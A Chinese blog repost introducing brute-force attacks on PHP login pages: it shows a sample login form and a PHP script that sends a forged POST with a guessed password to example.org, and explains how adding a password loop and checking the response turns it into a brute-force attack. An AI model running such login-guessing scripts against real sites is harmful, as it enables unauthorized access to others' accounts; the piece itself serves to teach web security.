zoukankan      html  css  js  c++  java
  • 暴力攻击 PHP 脚本 初探

    考虑下面的HTML表单:

    CODE:

    <form action="http://example.org/login.php" method="POST">
    
    <p>Username: <input type="text" name="username" /></p>
    
    <p>Password: <input type="password" name="password" /></p>
    
    <p><input type="submit" /></p>
    
    </form>

    攻击者会察看这个表单并建立一段脚本来POST合法的数据给http://example.org/login.php:

    <?php
    
      $username = 'victim';
      $password = 'guess';
    
      $content = "username=$username&password=$password";
      $content_length = strlen($content);
    
      $http_request = '';
      $http_response = '';
    
      $http_request .= "POST /login.php HTTP/1.1
    ";
    
      $http_request .= "Host: example.org
    ";
    
      $http_request .= "Content-Type: application/x-www-form-urlencoded
    ";
    
      $http_request .= "Content-Length: $content_length
    ";
    
      $http_request .= "Connection: close
    ";
    
      $http_request .= "
    ";
    
      $http_request .= $content;
    
      if ($handle = fsockopen('example.org', 80))
    
      {
    
        fputs($handle, $http_request);
    
     
    
        while (!feof($handle))
    
        {
    
          $http_response .= fgets($handle, 1024);
    
        }
    
        fclose($handle);
    
        /* Check Response */
    
      }
    
      else
    
      {
    
        /* Error */
    
      }
    
      ?>

    使这段脚本,攻击者还可以简单地加入一个循环来继续尝试不同的密码,并在每次尝试后检查$http_response变量。一旦$http_response变量有变化,就可以认为猜测到了正确的密码。

  • 相关阅读:
    android 发短信
    如何判断一个Div是否可视区域,判断div是否可见
    java arrayCopy
    Java 正则表达式 向前、向后匹配
    postgres 正则表达式
    java 分析方法调用过程
    chrome 模拟点击
    Java获取NTP网络时间
    Android对话框与Activity共存时的异常
    Android代码混淆
  • 原文地址:https://www.cnblogs.com/qunshu/p/3294114.html
Copyright © 2011-2022 走看看